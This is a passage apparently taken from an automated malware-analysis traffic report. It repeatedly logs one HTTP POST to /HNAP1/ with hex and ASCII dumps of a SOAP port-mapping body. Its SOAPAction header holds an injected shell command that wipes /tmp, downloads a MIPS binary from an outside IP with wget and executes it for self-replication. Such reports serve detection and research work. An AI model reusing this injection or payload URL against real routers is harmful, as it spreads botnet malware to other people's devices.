6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
